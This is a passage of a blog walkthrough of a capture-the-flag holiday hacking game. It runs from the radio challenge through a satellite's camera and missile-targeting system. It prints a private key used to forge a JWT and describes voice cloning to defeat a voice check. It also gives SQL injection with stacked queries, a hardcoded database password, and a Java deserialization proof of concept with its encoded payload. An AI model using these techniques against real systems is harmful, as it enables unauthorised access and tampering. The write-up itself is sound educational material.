&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we can forge a JWT ticket, again use burp to replace our Authorization token, and take control of the radio…&lt;/p&gt;

&lt;p&gt;Our initial role, with the public and private keys (testing the verification):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Captainscomms-jwt-1.png&quot; alt=&quot;JWT1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Modifying the role, to the Captains role:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Captainscomms-jwt-2.png&quot; alt=&quot;JWT2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using the information already obtained, now we can focus on the end-goal…&lt;/p&gt;

&lt;p&gt;Frequency: 10426&lt;/p&gt;

&lt;p&gt;Go-date: 1224 (from Numbers)&lt;/p&gt;

&lt;p&gt;Go-time: 1600 (from Numbers) - 4 hrs timezone (from intro text) = 1200&lt;/p&gt;

&lt;p&gt;Bingo! &lt;strong&gt;Objective 18 complete&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-SDR-Radio.png&quot; alt=&quot;Operating the radio&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;space-island&quot;&gt;Space Island&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Space-island.png&quot; alt=&quot;Space Island&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;cape-cosmic&quot;&gt;Cape cosmic&lt;/h2&gt;

&lt;h3 id=&quot;characters-16&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Space Island&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nothing much to do here, as there is massive fence guarding the perimeter!&lt;/p&gt;

&lt;h2 id=&quot;spaceport-point&quot;&gt;Spaceport point&lt;/h2&gt;

&lt;h3 id=&quot;characters-17&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Goose of Space Island&lt;/li&gt;
  &lt;li&gt;Jewel Loggins&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mfa something - Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him.&lt;/p&gt;

&lt;h3 id=&quot;space-island-access-speaker&quot;&gt;Space Island Access Speaker&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-accessspeaker-1.png&quot; alt=&quot;Access Speaker door&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First use: we notice we need a wav file&lt;/p&gt;

&lt;p&gt;Alabasters note from the AD Challenge:&lt;/p&gt;

&lt;p&gt;To enter the Satellite Ground Station (SGS), say the following into the speaker:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;And he whispered, ‘Now I shall be out of sight;
So through the valley and over the height.’
And he’ll silently take his way.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;OK, so we already have a sample of wombleys voice from Noir Island. Can we use AI to generate this sentence and bypass the MFA?&lt;/p&gt;

&lt;p&gt;YES WE CAN!!!! Using one of several AI’s to replicate and synthesis Wombley’s voice-phrase…&lt;/p&gt;

&lt;h4 id=&quot;original-walkthrough&quot;&gt;Original walkthrough&lt;/h4&gt;

&lt;p&gt;Quick Google for “AI online replicate voice and phrase” and Elevenlabs is at the top of the results&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Elevenlabs.png&quot; alt=&quot;Elevenlabs Ad&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://elevenlabs.io/&quot;&gt;Elevenlabs.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Current offer 80% off so $1 - REMEMBER !! CANCEL SUBSCRIPTION ONCE YOU ARE DONE!!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;!!WARNING!!&lt;/strong&gt; Use credit cards responsibly, if you dont have one, ask permission from a parent!&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;app-configuration&quot;&gt;App Configuration&lt;/h4&gt;

&lt;p&gt;Configure the App as so….&lt;/p&gt;

&lt;p&gt;Task: Speech to Speech&lt;/p&gt;

&lt;p&gt;Upload Wombleys’ mp3&lt;/p&gt;

&lt;p&gt;Insert Text:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Click &lt;strong&gt;Download MP3&lt;/strong&gt;&lt;/p&gt;

&lt;h4 id=&quot;convert-the-mp3-to-wav&quot;&gt;Convert the mp3 to wav&lt;/h4&gt;

&lt;p&gt;Next convert to wav file:&lt;/p&gt;

&lt;p&gt;Option 1 - free cloud service&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cloudconvert.com/mp3-to-wav&quot;&gt;convertcloud mp3-2-wav&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Option 2 - ffmpeg&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ffmpeg -i ElevenLabs_2023-12.mp3 -acodec pcm_u8 -ar 22050 ElevenLabs_2023-12.wav
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;free-version-walkthrough&quot;&gt;Free version Walkthrough&lt;/h4&gt;

&lt;p&gt;Visit &lt;a href=&quot;https://play.ht/&quot;&gt;play.ht&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Sign up and in, or use your Google account!&lt;/li&gt;
  &lt;li&gt;Goto Voice cloning, and upload Wombleys’ MP3.&lt;/li&gt;
  &lt;li&gt;Enter the Phrase&lt;/li&gt;
  &lt;li&gt;Change voice to Wombleys’ character&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-playht.png&quot; alt=&quot;play.ht image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Conveniently its output is already a wav file!&lt;/p&gt;

&lt;h4 id=&quot;access-speaker---play-wav-file&quot;&gt;Access Speaker - play wav file&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-accessspeaker-2.png&quot; alt=&quot;Access Speaker code&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Return to the door, choose the wav file, and Enter!!!!!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Objective 20 Complete&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;zenith-sgs&quot;&gt;Zenith SGS&lt;/h2&gt;

&lt;h3 id=&quot;characters-18&quot;&gt;Characters&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Wombley Cube&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;camera-access&quot;&gt;Camera Access&lt;/h3&gt;

&lt;p&gt;In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;download docker container from NanoSat-o-matic&lt;/li&gt;
  &lt;li&gt;use gatexor for wireguard config&lt;/li&gt;
  &lt;li&gt;use wireguard on host&lt;/li&gt;
  &lt;li&gt;Decide whether to run container in Docker/Podman&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;docker&quot;&gt;Docker&lt;/h4&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd client_container
podman build -t .
docker run -it -p 5900:5900 -p 6901:6901 --rm nmf_client
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;podman&quot;&gt;Podman&lt;/h4&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;podman machine start
cd client_container
podman build -t nmf_client -f Dockerfile
podman run -d -p 6901:6901 -p 5900:5900 --cap-add=&quot;NET_ADMIN&quot; --cap-add=&quot;NET_RAW&quot; nmf_client
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Either Docker/Podman shoudl start the container with the following EXPOSEd services&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;VNC on 5900/TCP&lt;/li&gt;
  &lt;li&gt;NoVNC (http) on 6901/TCP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your met with a blank screen, check the ports on the container, as already running services can jump the port numbers by +1
e.g. VNC on 5901 and NoVNC on 6902&lt;/p&gt;

&lt;h4 id=&quot;nmf_client&quot;&gt;NMF_Client&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera.png&quot; alt=&quot;NMF Client&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Use directory url&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Connect to nanosat-mo-supervisor&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-2.png&quot; alt=&quot;NMF Client2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;start the Camera application&lt;/p&gt;

&lt;p&gt;Enable Camera (&amp;amp; Missile) in &lt;strong&gt;Apps Launcher Service&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-3.png&quot; alt=&quot;NMF Client3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Go back to Communication Settings, to access the Camera application (you might have to re-fetch the directory services)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-4.png&quot; alt=&quot;NMF Client4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once in the camera application, go to &lt;strong&gt;Parameter Services&lt;/strong&gt; to enable the camera functions:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-5.png&quot; alt=&quot;NMF Client5&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Goto &lt;strong&gt;Action Service&lt;/strong&gt;, highlight the Base64snap image row, then click&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;submitAction&lt;/li&gt;
  &lt;li&gt;submit
This should take a picture&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-6.png&quot; alt=&quot;NMF Client6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, back to &lt;strong&gt;Parameter Services&lt;/strong&gt;, highlight the Base64Encided JPG row, and click:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;getValue
This should retrieve the image&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-7.png&quot; alt=&quot;NMF Client7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Hmmm, cant extract base64…&lt;/p&gt;

&lt;p&gt;We know satellite communications are unencrypted.&lt;/p&gt;

&lt;p&gt;Solution - use wireshark&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Use a tcp-follow filter (from right clicking) or using a search-filter&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;tcp.stream == 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Manually extract the base64 image string using your cursor&lt;/li&gt;
  &lt;li&gt;Base64 decode the image string to an actual image&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo &quot;/9j... very long string&quot;|base64 -d -i - &amp;gt; file.jpg
#or if you stored the string in a file called image.b64
cat image.b64|base64 -d -i- &amp;gt; file.jpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Finally view the image, on your platforms native image viewer!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Camera-8.png&quot; alt=&quot;Wireshark extract photo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Stream1.jpg&quot; alt=&quot;Jack&quot; width=&quot;900&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;missile-diversion&quot;&gt;Missile Diversion&lt;/h3&gt;

&lt;p&gt;This time we target the missile-targeting-system, our objective is to change the targeting system to point from Earth to the Sun!&lt;/p&gt;

&lt;p&gt;Connect to nanosat-mo-supervisor&lt;/p&gt;

&lt;p&gt;start the missile-target application&lt;/p&gt;

&lt;p&gt;Enable the following in &lt;strong&gt;Parameter Service - Definitions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;PointingMode&lt;/li&gt;
  &lt;li&gt;X&lt;/li&gt;
  &lt;li&gt;Y&lt;/li&gt;
  &lt;li&gt;Debug&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Missile-1.png&quot; alt=&quot;NMF Client8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nothing really works, but debug spits out os-version string. Lets look at the code&lt;/p&gt;

&lt;h4 id=&quot;review-the-source-luke&quot;&gt;Review the source (luke…)&lt;/h4&gt;

&lt;p&gt;Download and run Java decompiler (jd-gui)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar&quot;&gt;JD-GUI Jarfile&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Review code for MissileTargetingSystemMCAdapter via jar-file &lt;strong&gt;/opt/nmf/lib/missile-targeting-system-2.1.0-SNAPSHOT.jar&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;java -jar jd-gui-1.6.6.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-missile-jdgui.png&quot; alt=&quot;JD-GUI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;sqlDebug() function looks really interesting….&lt;/p&gt;

&lt;h4 id=&quot;attack-the-vulnerability&quot;&gt;Attack the vulnerability&lt;/h4&gt;

&lt;p&gt;We use this site as a reference for MySQL one-liners:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet&quot;&gt;Mysql Inejction cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;union all SELECT table_name from information_schema.tables where table_schema = 'missile_targeting_system';
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Urght union selects are not great for UPDATE or INSERT!&lt;/p&gt;

&lt;p&gt;We re-read code - realise stack queries permitted, makes things easier&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Connection connection = DriverManager.getConnection(&quot;jdbc:mariadb://localhost:3306/missile_targeting_system?allowMultiQueries=true&quot;, &quot;targeter&quot;, &quot;cu3xmzp9tzpi00bdqvxq&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;allowMultiQueries=true”
We have stackable queries this make life easier:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ;SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Results in simple form:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; satellite_query ( jid, object,results)
 messaging (id, msg_type, msg_data)
 pointing_mode_to_str (id, numerical_mode,str_mode, str_desc)
 pointing_mode (id, numerical_mode
 target_coordinates (id,lat,lng)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;show user permissions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; grantee: targeter@%
 privilege_type: usage
 is_grantable: no
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;show grants:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Missile-2.png&quot; alt=&quot;Missile SQL1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/24KK-Missile-3.png&quot; alt=&quot;Missile SQL2&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;so we can manipulate the satellite_query table!!!!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next we check pointing mode:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; ;select numerical_mode from pointing_mode; insert into pointing_mode(numerical_mode) values (1);select numerical_mode from pointing_mode;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;0 - pointing at Earth&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hmmm, how to change the pointing mode when we dont have permissions on the pointing_mode table?&lt;/p&gt;

&lt;p&gt;We have more privileges on satellite_query, so lets investigate more….&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;;select * on satellite_query
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks like we have some source code in the results column of the first record in the table, we save it for potential later use:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import java.io.Serializable;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import java.sql.*;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import com.google.gson.Gson;

public class SatelliteQueryFileFolderUtility implements Serializable {
    private String pathOrStatement;
    private boolean isQuery;
    private boolean isUpdate;

    public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
        this.pathOrStatement = pathOrStatement;
        this.isQuery = isQuery;
        this.isUpdate = isUpdate;
    }

    public String getResults(Connection connection) {
        if (isQuery &amp;amp;&amp;amp; connection != null) {
            if (!isUpdate) {
                try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                    ResultSet rs = selectStmt.executeQuery()) {
                    List&amp;lt;HashMap&amp;lt;String, String&amp;gt;&amp;gt; rows = new ArrayList&amp;lt;&amp;gt;();
                    while(rs.next()) {
                        HashMap&amp;lt;String, String&amp;gt; row = new HashMap&amp;lt;&amp;gt;();
                        for (int i = 1; i &amp;lt;= rs.getMetaData().getColumnCount(); i++) {
                            String key = rs.getMetaData().getColumnName(i);
                            String value = rs.getString(i);
                            row.put(key, value);
                        }
                        rows.add(row);
                    }
                    Gson gson = new Gson();
                    String json = gson.toJson(rows);
                    return json;
                } catch (SQLException sqle) {
                    return &quot;SQL Error: &quot; + sqle.toString();
                }
            } else {
                try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                    pstmt.executeUpdate();
                    return &quot;SQL Update completed.&quot;;
                } catch (SQLException sqle) {
                    return &quot;SQL Error: &quot; + sqle.toString();
                }
            }
        } else {
            Path path = Paths.get(pathOrStatement);
            try {
                if (Files.notExists(path)) {
                    return &quot;Path does not exist.&quot;;
                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream&amp;lt;Path&amp;gt; walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -&amp;gt; Files.isDirectory(p) ? &quot;D: &quot; + p.getFileName() : &quot;F: &quot; + p.getFileName())
                                .collect(Collectors.joining(&quot;\n&quot;));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return &quot;Error reading path: &quot; + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We try writing various strings and objects into the table satellite_query. From out tests we can determine that the contents of object are deserialized and executed. Attempts to insert our own code result in a “class not found error!”.&lt;/p&gt;

&lt;p&gt;So lets try to compile the leaked source, and see if we can manipulate it to obtain our end goal.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;javac SatelliteQueryFileFolderUtility.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Error missing gson&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quick search and we can download Google Gson from MVN&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.8.6/gson-2.8.6.jar&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now to recompile, we set a CLASSPATH, so the compiler knows where to import gson:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CLASSPATH=./gson-2.8.6.jar javac SatelliteQueryFileFolderUtility.java
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Compilation successful!&lt;/p&gt;

&lt;p&gt;Now to Serialize?, I don’t like java or serialization, so I’ll ask chatGPT for help…&lt;/p&gt;

&lt;p&gt;We uploaded the source java to chatGPT and asked it to generate code that would serliase the SatelliteQueryFileFolderUtility function.&lt;/p&gt;

&lt;p&gt;We then manually made changes to the code to suit our needs, below is our PoC:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import java.io.*;
import java.nio.file.*;
import java.util.Base64;

public class SerializeExample {
    public static void main(String[] args) {
        // Create an instance with pathOrStatement set to &quot;/&quot;
        SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(&quot;update pointing_mode set numerical_mode=1&quot;, true, true);

        // Serialize the object
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;serializedUtility.ser&quot;))) {
            oos.writeObject(utility);
            System.out.println(&quot;Object serialized successfully.&quot;);

            // Print the serialized bytes in hexadecimal format
            byte[] serializedBytes = Files.readAllBytes(Paths.get(&quot;serializedUtility.ser&quot;));
            String hexRepresentation = bytesToHex(serializedBytes);
            System.out.println(&quot;Serialized Hex: &quot; + hexRepresentation);

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    private static String bytesToHex(byte[] bytes) {
        // Using Base64 encoding as an alternative to convert bytes to a string
        return Base64.getEncoder().encodeToString(bytes);
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets compile and test the code&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;❯ javac SerializeExample.java
❯ java SerializeExample
Object serialized successfully.
Serialized Hex: rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAApdXBkYXRlIHBvaW50aW5nX21vZGUgc2V0IG51bWVyaWNhbF9tb2RlPTE=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It runs !!!!!&lt;/p&gt;

&lt;p&gt;we use Cyberchef to convert the base64 to hex, and use an INSERT and UNHEX functions to insert our payload into the database:&lt;/p&gt;

